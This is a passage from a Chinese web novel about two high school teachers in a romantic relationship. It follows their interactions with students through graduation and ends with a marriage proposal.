陶与晴和简璃同时回头，不约而同的都懵了。 飞雪？ 他怎么在这儿。 陶与晴眼尖的发现了不远处站着，非常欣慰一笑的父亲。 “师兄？”简璃打量他一下，很疑惑，“什么师兄。” “我们都是陶老师的桃李啊，”飞雪和他握手，说：“看见这家书店在外面摆摊搞活动，我直接就是一个热血沸腾，迫不及待的要和您比比看了。” “……” 简璃和陶与晴只是路过罢了。 因为两个人都喜欢看实体书，所以打算进书店逛一逛，并没有打算参加外面的宣传活动。 但是既然他都这样说了。 “好，”简璃说：“我接受。” 飞雪苦笑。 谁让他是个敬重师长的好学生呢，真是孝顺的烦恼啊。 “两位帅哥，要参与我们的宣传活动吗？”店员小哥热情的推销，说：“哎，咱们这个，闯关制，成功通关的客人可以免费拿走典藏版图书一套，外加周边赠品，对自己诗词储备量有信心的，大可上来试试嘛。” 简璃和飞雪纷纷上前报名，陶与晴抱臂摇了摇头，转身朝不远处伪装在盆栽后面的父亲走去。 “爸！” “哎哟喂，吓我一跳，你这小子。” “您跟我们一路了，”陶与晴揭穿他，无奈的说：“飞……刚刚那个小帅哥，就是刚才跟您说话那个？您认识他啊？” “怎么不认识，”陶炀从盆栽后面走出来，说：“那是我转去初中部教的第一届初三学生，那小子可是真毛躁，我忘不了。” “您真是……年纪大了，记性到不错。” 陶与晴和陶炀走到书店摊位前。 “虽然我很想支持您初中部的第一届学生，”陶与晴说：“但是我们家简老师可是教语文的。” “哼哼，”陶炀负手站着，说：“你可别小看那小子。” 这边父子俩眼神交战，那边台上简璃和飞雪魔法对打。 这家书店也是真的精，为了不让参与者都能占到便宜，一共设置了十五关诗词对仗，并且越到后面越偏门，有的甚至作者都叫不出名字。 是有多不想让人拿到典藏图书啊。 台上的不少人都败下阵来，最后只剩飞雪和简璃。 他们在题板上奋笔疾书，从陶与晴这个微妙的角度，能看见简璃在纸上龙飞凤舞的字迹。 就像他整个人一样锐利自信。 最终，飞雪kuakua一顿写，就对了七首，摊开手摇了摇头。 他哪里打得过在职语文老师啊，纯凑数。 陶炀约莫是猜到会是这样的结果，并没有数落他，而是鼓起掌点点头。 “还算是没把老师教的全部还给我。” 飞雪被陶炀夸了，一时间也有点不好意思，讪讪一笑说：“哪里哪里，我这……还是没师兄厉害。” 简璃成功写完了十五句诗，连一个错别字都挑不出来，店员小哥敲响旁边的金锣，宣布这位客人率先拿走了典藏图书。 “凭此票据可以去我们店内领取，”店员小哥把一个单子递给简璃，说：“帅哥真是博学多才啊，这么偏门的诗句都能答得上来，厉害厉害。” 简璃在台上拿着票据对陶与晴晃了晃，好像是在说“夸我啊”。 陶与晴笑的肩膀抖了抖，刚想走上前去和他一起领奖，回头看了看自己的父亲。 反正说到底都是自己的学生。 陶炀朝他扬了扬下巴，也算是放下心来，说：“你们玩儿吧，我这老教师一把年纪的，就先回去了。” 陶与晴站在原地看了看，自己父亲慢悠悠的晃回去，是真走了，扭头去看简璃。 他和飞雪正在书店门口聊天。 “不是吧离玉老师，您真是我师兄？扶光老师真是我老师的儿子？”飞雪觉得这个世界真是太小了，感慨万千，说：“这可真是天意弄人呐。” 他是没想到起因是一件莫名被拿走的外套，让他意外的结识了两位大佬，而且这两位大佬还和曾经的自己有千丝万缕的联系。 说不定另一个平行世界，他们不是这么相识的，但总归会认识的。 陶与晴走上前来，说：“我们也很惊讶，不过祁城的确也不大，学校也就这么多，这也算是情之中的事情吧。” 简璃再次晃了晃手中的票据，说：“走吧，去拿战利品。” 飞雪倒是得了一个小参与奖，是一个书店周边的小钥匙扣，还是挺可爱的。 走进书店就有店员领着他们去拿书，典藏版的图书还需要包装包装，所以得等一等。 那图书店的店员小姐不知道是不是认出来他们三个人，一直朝着这边看，但是又不敢上前来。 最后在同事的怂恿之下，走上来问：“是……离玉老师扶光老师和……飞雪老师吗？” “对，”飞雪大大方方的打招呼，说：“你好啊，可以合照哦。” “啊，太好了，我可喜欢你们了，你们的每期视频和照片我都点赞。” 店员小姐要到了合照和签名，特别的高兴，转过身对着同事就是一顿炫耀，那同事不看什么二次元，不太懂，但是觉得这三个人确实长的很帅，有粉丝也正常。 飞雪一看时间差不多了，说：“那两位老师再会，我先回去了，不然我妈该催我了。” 他还是个大学生呢，放假出门是需要报备的，元旦来这里本来是想买点东西回家，谁知道碰着自己的老师了。 飞雪走后，陶与晴用手肘怼了怼简璃的肩膀，说：“哎，刚才那些诗这么难，你都记得？” “有的确实是不太记得。” “嗯？那你是怎么答上来的。” 简璃只凑近陶与晴说：“想着不能在陶先生面前丢人，所以想起来了。” 陶与晴笑的爽朗，说：“你就在我面前好胜。” “嗯，只在你面前。” 两个人没再说一会恋人絮语，店员就把典藏图书包好拿过来了，接过奖品，陶与晴看这个书店规模挺大，就拉上简璃进去接着逛逛。 自从当了老师以后，进书店他都情不自禁的往教科书和真题那块走，很久没有逛过其他的休闲区域了。 他和简璃边逛边看着近段时间的小说，看见一本熟悉的封面，调侃简璃一开始还因为这本书和自己吵过架。 那本书曾经出现在了邓留萤的抽屉里，自那之后就再没看出现在学校了。 “其实这本书我看过，”简璃翻开面上的一本，说：“情节还是有些简单了，确实是毫无逻辑。” 陶与晴说：“我一个数学老师都没纠结这个，你一个语文老师居然在意上了。” 就像他一开始也完全没想到，自己会和离玉以一种异想天开的方式见面。 更没有想到会和眼前这个他曾经隔着人群遥遥相看的人共度余生。 人生有时候真是没有逻辑。 简璃还想说些什么，忽然看见了一个一闪而过的身影。 他一顿，陶与晴就问：“怎么了？” “……不确定，”简璃疑惑的说：“好像看见了个学生？” “嗯？” 陶与晴扭头朝简璃看着的那个方向望去，这里的书架层层叠叠，他转头的时候什么都没看见。 “可能是错觉吧，”简璃关上那本开启缘分的小说，“没看清。” 陶与晴也没并没有在意这么多，书店里有学生是再正常不过的事情了，尤其是假期，很多同学都会结伴过来，何况这个地位置这么好，外面就是小吃街。 简璃看错了也很合。 ……可是简璃会看错吗？ 他的眼神很好的啊。 陶与晴不过留了个心眼，和简璃走着走着，走到了动漫和名著专区。 这家书店的分类很紧凑，因为开放了很多其他的设施和休息间，所以放书的地方就被挤了挤。 不过看着一本本色彩丰富的二次元读物和色彩单一的古今名著放在一起，还是挺有视觉效果的。 陶与晴想走过去看看，一踏步一低头，看见了坐在书架之间，手里翻着一本少女漫画的少年。 简璃也同时愣住了，确定了刚才看见的那个身影就是他。 他手边还摆着基本未拆封的诗集，大概是付了钱了，店员特意用胶带粘了粘。 他正看的仔细，并没有察觉自己正在被两位老师饶有兴趣的盯着。 一直到太阳光线倾斜，他发现窗外的自然光被挡住了，才抬头。 这一抬头可给他吓得书都拿不稳了，不过他面上还算冷静，只是站起来，点头问好。 “陶老师，简老师……下午好。” “下午好啊一安，”陶与晴笑着看他，说：“来这里看书吗，你家长没有跟着？怎么不叫上小雨他们一起。” 姜一安耳垂微红，合上漫画书说：“我……自己来的，就是买几本书回去，然后就是……随便看看。” 察觉到他有点不好意思，陶与晴后退了一步，看了看简璃，说：“我们也是路过，刚才对诗赢了个奖品。” 简璃则是好笑又好奇的看了看他手里看了一半的漫画书，说：“怎么不一起买回去回家看，在这儿上演窃读记。” “……” 姜一安沉默片刻，耳朵红红的，说不出口。 陶与晴和简璃也没再继续这个话题。 陶与晴说：“那你别坐在地上了，地上凉，老师带你去那边的茶水间吧，我请客。” “……谢谢陶老师。” 简璃帮他把地上的书拿起来，安静的跟在陶与晴和姜一安后面。 陶与晴和姜一安讨论起那本少女漫画。 “这本我也看过，在软件上、评分挺高的——明年好像要改动漫了。” 姜一安虽说在之前知道了陶与晴和简璃接触这方面的事情，但是能和老师聊这个，还是非常难以置信的。 “……陶老师不会觉得，”姜一安怀里抱着一本粉色封面的漫画书，“男生看这个不太好吗。” “这有什么不好的呢，”陶与晴伸手摸摸他的后脑勺，说：“很多很可爱的动漫，也有男生在看呀，而且美好的感情、可爱的事物和精美的画面，每个人都可以去欣赏。” 他们来到茶水间坐下，陶与晴给姜一安点了一杯奶茶。 “其实我还有点高兴你有喜欢的东西，”陶与晴说：“之前见你跟个小大人似的，感觉你不像是这个年纪的孩子，现在觉得对了，就该是这样的。” 简璃补充：“只要不影响学习——适当的放松放松，也很好。” 陶与晴笑着问他：“带去学校也可以吗？” 简璃只说：“……如果是上课开小差的话，我还是会没收的。” “简老师，”姜一安直言：“您变了很多。” “有吗？”简璃看了看陶与晴憋笑的表情，只说：“那希望是好的方面。” “我记得，”陶与晴笑了一会，想到什么，说：“开学的时候问过，你好像是初中就一直是班长吧？” “……嗯，我一直是班长。” “你当的特别好，”陶与晴说：“还有你不知道吗，赵遇京那孩子，可喜欢一个女角色了，每次去漫展都要买她的周边呢，他天天烦你，你偶尔也可以去烦烦他。” “我……”姜一安默然片刻，说：“我很喜欢他们，比之前……。” 简璃：“之前？” 姜一安摘下眼镜，调整了眼镜腿，最终说：“之前小学初中的时候，我发育的很晚，身高一直比同龄人矮很多。” 小学大家都是差不多的小孩子，可是初中开始，身边的男生都在窜个子，姜一安不得不仰望其他人。 偶尔也会被笑话。 他只有次次考第一，站在讲台上领奖状的时候，才是俯看他人的。 所以他一直在考第一。 他融入不进去男生的话题，运动也不在行。 他喜欢玩的也不是打打杀杀的竞技类游戏，但是那些可爱风的游戏总是女生在讨论，他欲言又止的时候，偶尔还会听见几个嘴欠的男生嘲笑女同学。 然后他会转头制止他们，介于他的身份，也没有人自讨没趣继续。 认识吴尽夏之后他才知道，女生也可以打游戏操作很强，班里的同学好像对她没什么偏见，都挺喜欢她的。 可是…… 他还是不太敢承认自己喜欢柔软细腻的事物，他努力的学习就是为了不再仰望他人，也不确定自己格格不入的爱好会不会被人介意。 如果到时候，他又得抬头看人呢。 可他就是觉得这些东西很美好，路过的小猫小狗，精品店里的毛绒玩具……这算是一种错误吗。 “没有错啊，”陶与晴听完，拿出自己的手机，点开里面的小游戏，说：“这怎么会有错呢。” 姜一安捏着眼镜惊讶极了。 “陶老师，您也玩这个？” “我可是一百多级的老玩家了，”陶与晴嫌弃的看向简璃：“我们家这位先生倒是，帮我过关都是一顿乱搭衣服，哪里好看了。” “嗯——”简璃尴尬的看向远处：“分高就行了，你就说过没过去吧。” “吴尽夏可以喜欢在竞技游戏里挥洒热血，姜一安也可以在休闲游戏里感受美好，”陶与晴收起手机，拍了拍姜一安的手背，说：“这些都是自然而然的嘛。” 姜一安戴上眼镜，视线清晰了不少，抬头和陶与晴简璃平视，才发现原来自己已经长高了。 就算是坐着，也不用抬着头看别人。 姜一安戴上眼镜倒是笑了笑，这个笑带着自嘲又带着点玩闹，说：“……我年纪比他们小，会被笑吧。” 简璃说：“那多好，年纪小你就永远是他们的小班长了，以后出了社会，这一点也不会变。” 下午的阳光很适合看书，书店里人来人往熙熙攘攘，茶水区的师生三人聊着天，动漫和漫画，也聊以后想做什么，天马行空的念头从姜一安嘴里说出来，不知不觉就到了傍晚。 不同的是，姜一安走的时候，最终买下了那本漫画书。 陶与晴教姜一安在封皮上扎了个特别漂亮的蝴蝶结。 “回去路上小心点，”陶与晴把送的典藏周边也给了他，然后小声的告诉他说：“假期结束之后，记得来办公室帮我改改作业。” “嗯，”姜一安提着袋子后退两步，对陶与晴和简璃鞠了一躬，说：“老师再见。” 陶与晴倒是看着那少年离开的地方，很久之后才被简璃拉了拉。 “在想什么呢。” “在想世间万物终有穷尽，”陶与晴对着天边弥漫散开的夕阳感慨：“但是某时某刻的晚霞会刻在记忆里。” 简璃朝他一笑：“是怎么感慨到这个角度的。” 陶与晴只是摇摇头：“只是想到了你刚才说，他们出了社会以后那些话……就在想他们要毕业的时候，大概也是这么美的晚霞吧。” “对了，”陶与晴左右看了看，把简璃拉到一条小巷子里，变戏法一样从衣服里变出一个小巧的盒子，说：“跨年礼物。” “这是……” 简璃打开那个四四方方的盒子，里面居然安静的躺着一只戒指。 款式简单大方，内圈刻着一个“玉”字。 陶与晴那款，想必刻的是“光”吧。 “情侣的，”陶与晴晃了晃自己的手，刚才他趁简璃惊讶，偷偷带上了：“定制的。” “……你真的好会啊，陶老师，这个很作弊。” “实在想不到送什么了，”陶与晴可是藏了一路呢，扬了扬头说：“作弊就作弊吧。” 简璃戴上那枚戒指，把盒子也踹进大衣口袋里，微微低头：“莫非陶老师在求夸？” “没错，就是求夸，只准你邀功不准我邀功吗？” “我很喜欢，”简璃低头亲亲他，又执起他的手吻在戒指上，说：“算求婚吗？” “当然不算，只是承认你是我男朋友了，求婚当然要更浪漫点了。” 简璃难受：“所以说我之前一直没被承认？” 陶与晴给他顺毛：“之前是我个人认证，现在是面向全世界认证了。” 简璃又亲亲他的额头：“好好好，你总是有道。” 谁也没打破这份意境，简璃和陶与晴牵着手回去，背后是整片烂漫夕阳。 一天后简璃和陶与晴就打算回去了，边雅丹这次比之前还热情，硬是要把家里的家具也打包给简璃带回去，陶与晴极力的制止，最后才从玄关处脱身。 “下次还来啊，简老师，”边雅丹站在阳台探头朝底下喊：“就和回自己家一样的。” “谢谢师娘。” “妈——您别看了。” 假期最后一天简璃和陶与晴哪也没去。 单纯的窝在一张懒人沙发里，一起什么都不干。 陶与晴窝在他怀里玩手机，简璃一手抱着他一手捏着一本书，那枚戒指在他手上泛着光泽。 陶与晴的换装游戏再次卡关，不甘心的咂咂嘴，递给了简璃。 简璃接过，又是根据各种数值选出了一套五花八门的搭配，意外的过了。 陶与晴看了看简璃，又看了看手机上金色的胜利界面。 ……这样子玩下去，自家审美还挺在线的男朋友该不会被影响到吧。 还是不给他玩了、不给他玩了。 开学回到学校，陶与晴路过窗边看见姜一安把那本漫画书递给邓留萤，邓留萤两眼放光和吴尽夏说着什么，赵遇京凑上去想抢着看…… 陶与晴欣慰的笑笑，真好啊，有能分享所有爱好的好朋友真是一件好事。 他情不自禁哼起淡淡的旋律，从走廊上路过。 他和简璃的对戒早上就被发现了，但是其他同事一点也不意外。 不如说他们现在才高调起来，反而比较意外。 按来说应该谈了很久了吧？搞不懂年轻人的情趣了，喜欢地下恋？ 陶与晴还没走到办公室呢，就看见班上的杨以心抱着一堆书摇摇晃晃的朝着教室走。 陶与晴刚想走过去帮她一把，还没靠近，书就掉下来撒了一地。 陶与晴只好过去蹲下身子帮她捡起来。 “谢谢陶老师，”杨以心说：“我想一次性搬完的，结果高估我自己了……” 是楼上历史老师和生物老师的作业，估计是刚好杨以心上去，两个人就让他一起拿过来了。 重新把作业本放好，陶与晴意外捡到了一张纸。 这个不是…… 之前他给杨以心改过的那张画嘛，没想到这丫头还留着，还夹在了作业本里。 “抱歉抱歉陶老师，那个也是我的，”杨以心接过那幅被修改过的画，说：“我夹在书里忘记拿出来了。” 陶与晴问：“你很喜欢这幅画？” 杨以心连忙点点头说：“嗯嗯，我觉得这个改画……画的特别好。” “你也画的好，我们班黑板报一直很好看，是你负责的吧？” “是，但也不是我一个人，有很多同学都帮忙了，”杨以心说：“谢谢陶老师。” “不客气，”陶与晴冲她点点头：“我帮你一起拿回去吧。” “嗯。” 不过教室里，陶与晴走的时候，杨以心看了他好几眼，欲言又止，最终什么都没说。 陶与晴回到办公室，简璃一眼看出来他心情好得很，一边批作业一边问：“发生什么了。” “遇见了两个开心的事情，”陶与晴坐下，喝了口水，说：“认识这些孩子真好啊。” 简璃抬眼，无奈的摇摇头：“要是他们一张卷子写到最后也可以和写数学一样精力充沛就好了，字都越写越歪。” “简老师，”陶与晴笑着说：“您这是点我呢，觉得我们数学不用写长篇大论是吧？” “不敢不敢，”简璃说：“我这个人，就喜欢数学。” “这样的话，我爸……要哭晕在书房了。” 两个人一边闲聊一边面对面改学生作业，简璃改着改着手机屏幕亮起一通电话。 “……无梦？”简璃念出这个名字，陶与晴抬头好奇的看过来。 陶与晴：“找你什么事呀？” “我问问。” 简璃接通电话，听对面说了什么，简璃回答基本上都是点头和嗯。 不过陶与晴还是能看出来简璃稍微有些吃惊的。 等他挂了电话，陶与晴才再次用询问的目光看向他。 “无梦和我说，她们要结婚了，就在二月份，年后。” 第64章 （正文完） 第64章 （正文完） “结婚？”陶与晴又惊又喜，说：“这是一个好消息啊。” “是，地点在京都，邀请我们去参加。” “一定包个大红包。” 无梦说她们的婚礼没那么多规矩，喜欢就来，不用登记，没请几个亲戚，大部分都是好友，大家随意就好。 简璃：“真好啊，这么多年终于结婚了。” “你羡慕了？”陶与晴笑笑。 “羡慕个30%吧，”简璃回复完无梦，把手机丢进抽屉里，说：“拐走扶光，骄傲70%。” 陶与晴笑骂他一句：“你这是得了便宜还卖乖啊。” 陶与晴和简璃今晚都没有晚自习，想着把卷子批完了再回去，办公室里就剩他俩，两个人都没说话，各自做各自的事情。 “陶老师？”邓留萤来到办公室发现他们还没走，庆幸极了，说：“陶老师简老师，你们在忙吗？” “不忙，”陶与晴刚还改完最后一道应用题，放下笔说：“怎么了。” 简璃则挑眉：“又闯祸了？” “不、不是啦！”邓留萤伸手把门那边躲着的杨以心拉过来，说：“是她有问题想问你们……哎呀别怕，你去你去。” 邓留萤把她推进来，挥挥手说：“那我先回教室啦，你们聊。” “怎么了，小杨。”陶与晴看她不太好意思说，示意简璃搬了张凳子过来。 简璃：“坐。” 杨以心抱着一个本子，唯唯诺诺的坐下。 “老师……”杨以心平时挺娇气的，约莫是泪失禁的体质，很多时候一激动就容易掉眼泪。 她刚坐下眼睛就红了，陶与晴连忙抽纸给她，又发现她没哭。 “谢谢老师，我就是想来问问……”杨以心鼓起勇气，说：“明年就高三了，我怕再不问就来不及了……您二位觉得，我能做——” 她把本子递给陶与晴，陶与晴接过来翻开，里面是她画的各种图画。 “其实我学这个也挺久了……”杨以心说：“初中的时候还好，还能兼顾学业和画画，但是高中之后……越来越兼顾不了了，我爸妈也在说我成绩平平怕我考不上好大学、以后找不到好工作，可是……我一直想试试，去做个……” 她有点羞耻于说出那个名词，感觉像是痴人说梦。 “……画家……之类的……我爸妈说让我艺考加分，但是我说我想做这行，他们不太支持……” “老师想和你确认一件事情，”陶与晴放下她的画册，说：“你确定你很喜欢画画，喜欢到愿意为它承担很多后果吗。” “这条路是条荆棘小道，”简璃也说：“没有绝对的坚持和毅力，是做不了这一行的。” “我很喜欢，”杨以心不假思索的点点头：“这辈子，只喜欢那么一件事情……如果一定要选这件事是什么，我一定会选画画，我知道不容易，我学过来的时候就感觉到了，但是我还是……” 还是想画画。 “我的父母态度很摇摆不定……”杨以心说：“所以我有点迷茫，我也不知道该遵循自己的内心，还是听长辈的安排……我就想着找您还有简老师聊一聊……” 陶与晴和简璃都是很好的老师，班上的同学都这样觉得，有目共睹。 杨以心实在不知道该问谁了，眼看就要高三，压力越来越大…… 她知道这些也不是老师可以帮她做决定的，但是她一肚子苦水不知道往哪里吐。 并且她潜意识里，想得到些支持。 若是都反对…… “从一种稳健的角度，我会说希望你借着加分，报考一个好就业的专业，考个好大学，出去找个好工作……” 杨以心听陶与晴这么说，骤然失望。 “……可是你看，你听见这些话的时候，表情很难过吧。” 杨以心眼神又亮了亮。 “你的水平真的很不错，老师希望你开心，而不是顺应社会，”陶与晴把画册还给她，说：“你有这么坚定的想法，不要等到回不来了再后悔……当然，如果累了、要记得休息。” 简璃：“‘道阻且长，行则将至，行而不辍，未来可期’，出自《荀子修身》，‘大鹏一日同风起，扶摇直上九万里’，出自《上李邕》，你能明白这两句的意思吗？就当课后作业了。” “这是你的选择，不管以后实际上做了什么，有没有成功，老师都支持，”陶与晴说：“有任何想不通的地方，都可以随时来问我们，这条路需要你自己努力，但是老师——可以做你的后盾。” “说起来，”陶与晴想到什么，说：“我们认识一个很厉害的画家年后要结婚，二月份刚好是寒假，如果你心里忐忑，有时间和我们一起去京都，问问她说不定能给你一些启发。” 杨以心点点头，抱着画册，她心里真的好受多了。 “谢谢简老师，谢谢陶老师，我一定抽空。” 杨以心小跑到门口，又扭头，说：“陶老师，你帮我改的，特别特别好。” 原来这小丫头早就知道了啊。 陶与晴和简璃对视一眼，没忍住互相笑了出来。 简璃：“实不相瞒，我当时就看见了。” 陶与晴：“噢——那我有由怀疑是你告诉她的了。” 简璃：“我真是冤枉了，不难猜，你看咱们班上还哪个比较有艺术细胞的？” 陶与晴：“那为什么不猜你呢。” 简璃：“因为我最多在他们纸上打个叉。” “哈哈哈。” 今年祁城没有下雪，整个冬天过的挺暖和的。 期末考试学生们稳定发挥，值得一提的是，赵遇京意外的稳定在了班级前十的位置。 这小子的成绩一直是个迷，主要他太跳脱，时不时就容易超鬼。 但今年他大概率能过个好年了。 过年简璃没回家、因为他有了新的去处。 本来他挺担心姐姐要是回家，没有他来分担父母的火力，会不会…… 然而他这时才知道，原来简珺结婚以后也每年坚持回去，也是因为自己的弟弟。 姐弟俩回去的由简单又统一，陶与晴听后哭笑不得，又有点小感动。 不过选择简璃已经不是孤身一人了，他可以拉着简璃的手，邀请简珺薛子实他们来自己家吃顿饭，聊聊天。 “漂亮舅妈！” “瑞瑞，”陶与晴在楼下接到他们，蹲下身子对薛瑞说：“有没有想我呀？” “想了想了，”薛瑞蹭到陶与晴身上，说：“舅舅可坏了，每次我给他打视频，他都不让我看你。” 简璃敲敲他的脑袋：“那是你太吵了，打扰人家休息。” “陶老师，”简珺挽着薛子实说：“那我们今年就叨扰了。” “哪里哪里，”陶与晴抱着薛瑞站起来，说：“快进去吧，我爸妈就喜欢热闹。” 简璃伸手把薛瑞接到自己怀里，说：“一上来就赖着人家，嗯？” “舅舅小气死了。” 陶与晴伸手去帮简珺薛子实拿东西，说：“太客气了，来就来了还带什么东西。” 薛子实：“都是一家人，这算什么，也恭喜你们两个，什么时候办喜酒？” 简璃：“……姐夫。” 陶与晴：“我们、我们还没呢。” 他们只是要去参加别人的喜酒了。 薛瑞这孩子鬼精鬼精的，嘴甜的很，一到家就俘获了所有人的芳心，看得简璃一愣一愣的。 这孩子…… 甚至薛瑞晚上在桥边放烟花还偷偷的和简璃说。 “舅舅终于追到舅妈哥哥了，舅舅真慢啊。” “……”简璃拳头硬了，要不是还在大过年的，一定把这孩子拎起来打屁股。 “尽给我学些乱七八糟的。” “这是天赋啊舅舅。” “还天赋，信不信我给你加buff？” 薛瑞缩了缩脖子，说：“我要去和舅妈哥哥放烟花了。” 陶与晴带着薛瑞玩儿了一会，见他拿着烟花去找边雅丹和简珺了，回头看了一眼站在一旁的简璃。 他点燃一支仙女棒走过去，说：“去年你的愿望，有实现吗？” “每天都实现，”简璃伸手拉过他，说：“你果然是魔法师。” “和我有关？许的什么啊。” “许你——”简璃搂过他：“顺遂无忧，平安健康，执子之手，与子偕老。” 陶与晴手里的烟花燃尽了，刚好回抱住简璃。 “我也许了个愿。” “是什么。” “我们一起，教书一百年吧。” 无梦的婚礼在京都，知道简璃和陶与晴要带个小姑娘来，没什么意见。 最关键是，她听说这姑娘喜欢画画。 杨以心是到了那地方，才发现原来结婚的是两个女孩子。 并且其中一位新娘还是圈里小有名气的插画师无梦！ 也不知道自己的老师是怎么认识这样的朋友的，换作以前她不敢想。 “你喜欢画画，”无梦今天的造型和以前的风格不同，一身白裙尽显温柔，头发也盘起来了，端庄窈窕，看了一眼杨以心的练习本，说：“很好啊。” “……可是好多人都说，坚持不下来。” 杨以心觉得她好漂亮，她爱人也是，长长的头发带着点自然卷，和无梦气质不同，笑起来甜甜的。 杨以心都有点不好意思了，要不是陶与晴和简璃在不远处，她可能还没勇气聊这个。 “我爸妈也觉得，不如正经的工作稳健……可是就算如此，我还是想去看看那条路上的风景，哪怕是条荆棘小路……这样想会不会有点傻？” 毕竟她又不是什么热血漫画的主角。 “和我当初一样，”无梦放下酒杯，坐在她旁边说：“横冲直撞，不顾别人反对，每天闷在画室里，大家都说我是怪胎，还有说我是艺术狂人的。” “日子难熬，一开始身上的毛病一天比一天多，有时候跑的太快也不知道是为了什么，全凭一腔热血和一股坚持劲儿，但总觉得天底下这样的人也不少，放弃的人、可就看不见山顶的彩虹了。” “您也有过这种烦恼吗？” “再厉害的人都会有的，但我不太在乎，比起在青春年华听别人的发言，不如捂住耳朵闭上眼睛，专心感受自己心跳的声音，”无梦闭上眼，安静的和杨以心坐了一会，“我的这颗心脏，注定要为色彩与线条、还有我的爱人而跳动，你呢？” “……为自己。” “说得好，我欣赏你，加油吧，做你想做。” 无梦到了一杯果汁，和杨以心捧杯，说：“对了、你等一下，我找张纸，送你个小礼物。” 无梦现场画了一副画送给杨以心，她画了个伸手去摘星星的女孩子，在黑夜与洪荒里。 就用这短短几笔，把艺术家的娴熟技巧体现的淋漓尽致。 条件有限没有上色。 无梦郑重的把这幅画交给杨以心：“颜色，就交给你去填上吧。” 陶与晴和简璃聊着聊着突然看见了不远处小姑娘的笑容。 承载的她美好的未来和梦想。 灿烂笑容背后是她决定要去看山上的风景，越过无数艰难险阻。 一定会有所作为的。 陶与晴衷心祝福她。 简璃也看见了，握住陶与晴的手。 这两双手，也承载了很多人的未来。 简璃说：“他们以后都会越来越好的。” “当然，”陶与晴和他十指紧扣：“我相信。” 相比于高二，高三的生活着实不太轻松，简璃和陶与晴忙的都没有时间策划别的，更别说即将前往战场的学生们。 忙里偷闲，才能趴在桌子上睡一会。 努力和汗水也最终化作一颗颗种子，在地上生根发芽，开出不可思议的花。 高考前最后一堂课，陶与晴在黑板上点了点，终究还是没写下来题，而是在黑板上写下金榜题名四个大字。 转身说：“大家自习吧，放轻松，老师永远相信你们。” 陶与晴之后简璃走进来，画风完全不一样：“翻开课本，赶紧多看两眼，多背多记，记不住的你就跳过别做，先做会做的，听见了吗？还有什么问题要问的赶紧上来问，后面阅读解题不会做的留着，把作文先给我写完……” 简老师，您刚才好像念了一段rap啊。 大考过后，休息了几天，学校举办了一场毕业典礼。 这是他们最后一次回到这里，陶与晴走进教室，就感觉到气氛比考前都沉重。 一个个的都低着头不说话，根本不像是考试后轻松的样子。 “……” “……陶老师。” 有人率先叫了一声，陶与晴就看见好几个人绷不住掉眼泪了。 “本来还想先说说别的，”陶与晴无奈的摇摇头，说：“既然如此，大家伸手摸摸课桌里，老师给你们每个人都准备了毕业礼物。” 同学们这才纷纷伸手，把课桌深处的东西拿出来。 每个人都是一个小玻璃瓶。 瓶子里面连接瓶塞，挂着一个小卡片。 上面居然是不同的简笔画，简笔画背后还是不同的祝福语。 赵遇京的画了一个小王冠，吴尽夏的瓶子里画着绣球花，宁雨的是一朵冒出小太阳的云，杨以心的瓶子里画了个画笔，写着【以心照身，径情直遂】…… 陶与晴本想说些什么安慰大家，讲一下这个礼物的用意。 结果他都没说话，教室里直接就是一阵阵哭声此起彼伏。 本来想安抚大家情绪的，怎么情绪更大了…… “吵什么，整个楼道就你们班声音最大，”简璃从后门走进来，哭声渐渐小了，他们看见简璃难得不慎人的笑，“多大人了，还哭鼻子。” “呜呜呜简老师！” “呜呜呜呜……” 陶与晴借此机会，才得已说出话来：“恭喜你们，高考结束之后大家好好的休息休息……” 说着说着，陶与晴也觉得有点说不出话了。 他和简璃都是经历过相同场景的人，可是每次都还是觉得…… 简璃站在后排：“毕业快乐。” 教室里静默了一会，听见下面的广播开始喊，该下去听毕业演讲、拍毕业照了。 陶与晴拍了拍手，把教室里难过的气氛拉回来一点，说：“走吧，大家开心点。” 不止毕业照，还有很多学生拿自己的手机在操场上拍着各种不同的东西。 学校的一草一木，一花一人，在这里待了三年，从没觉得有那么多值得留恋的东西。 邓留萤手里拿着自己的瓶子，拍完毕业照就抱着陶与晴哭的稀里哗啦的。 她这一哭吴尽夏也绷不住了，拉着简璃说：“简老师……我舍不得你们——” 简璃拍拍她的背：“又不是见不着了，好了好了。” 陶与晴拿出纸巾递给邓留萤，说：“不哭了，毕业了该高兴才对。” “就是……”赵遇京眼睛红红的，说：“干嘛啊，这、搞这种煽情的是吧……” 宁雨站在旁边默不作声盯着自己的瓶子，还有里面陶与晴画的简笔画和祝语。 姜一安在旁边温声道：“以后还能见面的。” “不一样！”邓留萤揩了揩鼻涕，说：“以后、以后就不是2班的学生了……” 赵遇京眨了眨微红的眼眶：“……以后是一般的学生。” 邓留萤伸手去揍他：“你不要破坏气氛！” 宁雨：“陶老师简老师……我、我们会经常回来看你们的。” “随时欢迎，”陶与晴朝他笑了笑：“我们不嫌烦。” “那边的——快过来拍照啊！” 陶与晴推推邓留萤，说：“快去吧，和同学们多合影，留纪念。” 孩子们朝着那边走过去合照，陶与晴朝后倚靠在一处栏杆上。 然后他看见了远处渐渐往下躲的太阳，天边的云逐渐染了色。 夏天的黄昏尤其漫长，估计能持续到晚上。 “吴尽夏越来越活泼了，宁雨和姜一安也是，会说话了……”简璃走到他旁边，递给他一瓶桃子味的汽水。 陶与晴接过那瓶瓶身还有水汽的汽水，喝了一口。 “他们的未来一定很美好，”陶与晴看向简璃，说：“终于又带过一届高三，简老师暑假想到怎么休息了吗？” “有一个想法，还没实施。”简璃看了一眼在远处拍照的学生们，悄悄捂住陶与晴的眼睛。 其实他早就想了，只不过这一年半载太忙了，陶与晴手伤反反复复，两个人都没怎么活跃在公众视野，简璃也不舍得让他分心。 “第十年了，陶老师，”简璃隔着手背和他碰额头，轻声说：“我有幸邀请你共度余生吗？” 陶与晴很是惊讶，黑暗中感到自己手上的戒指被取下来了，换上了另一个冰凉的东西。 简璃松开手，陶与晴适应了一下光线，才看清——是汽水的拉环。 陶与晴笑了：“你的求婚戒指……不专业啊简老师。” “谁说的，仔细看看呢。” 陶与晴抬手一动，原来拉环下面藏着的，是一枚真戒指。 把汽水拉环拿下来，和他送简璃的款式不同，但是都不张扬，设计的大方低调。 “所以，浪不浪漫不太清楚，”简璃牵起他的手，在操场的一角单膝跪下，说：“但是趁着这个氛围，我也能作一次弊吗？答应我。” 陶与晴笑的眼泪都出来了，用力把他拽起来，环上他的脖颈，说：“我不答应你，还能答应谁呢。” 简璃抱住他：“那就只好答应一个叫离玉的家伙了。” “坏死了，合着我不管是陶与晴还是扶光，都得和你结婚？” 